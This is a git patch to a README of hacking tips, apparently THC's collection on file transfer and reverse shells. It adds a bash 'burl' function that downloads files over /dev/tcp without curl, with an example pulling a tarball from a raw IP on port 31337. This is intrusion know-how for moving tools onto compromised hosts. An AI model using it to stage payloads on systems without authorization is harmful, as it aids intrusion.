From 3362e624d66eec4be3098a213200e076aa957ddb Mon Sep 17 00:00:00 2001
From: skyper <5938498+SkyperTHC@users.noreply.github.com>
Date: Thu, 22 Jun 2023 22:17:15 +0100
Subject: [PATCH] Update README.md
---
README.md | 21 ++++++++++++++++++---
1 file changed, 18 insertions(+), 3 deletions(-)
diff --git a/README.md b/README.md
index 2133d50..722b5fe 100644
--- a/README.md
+++ b/README.md
@@ -37,6 +37,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
1. [File transfer using screen](#file-transfer-screen)
1. [File transfer using gs-netcat and sftp](#file-transfer-gs-netcat)
1. [File transfer using HTTP](#http)
+ 1. [File transfer without curl](#burl)
1. [File transfer using WebDAV](#webdav)
1. [Reverse Shell / Dumb Shell](#reverse-shell)
1. [Reverse Shells](#reverse-shell)
@@ -832,7 +833,6 @@ sftp -D gs-netcat # Workstation
```
-
### 4.iv. File transfer - using HTTP
```sh
@@ -845,9 +845,24 @@ python -m http.server 8080
cloudflared tunnel -url localhost:8080
```
-
+
+### 4.iv. File transfer without curl
-### 4.iv. File transfer - using WebDAV
+Using bash, download only:
+```sh
+burl() {
+ IFS=/ read -r proto x host query <<<"$1"
+ exec 3<>"/dev/tcp/${host}/${PORT:-80}"
+ echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
+ (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
+ exec 3>&-
+}
+# burl http://ipinfo.io
+# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
+```
+
+
+### 4.v. File transfer - using WebDAV
On your workstation (e.g. segfault.net) start a Cloudflare-Tunnel and WebDAV:
```sh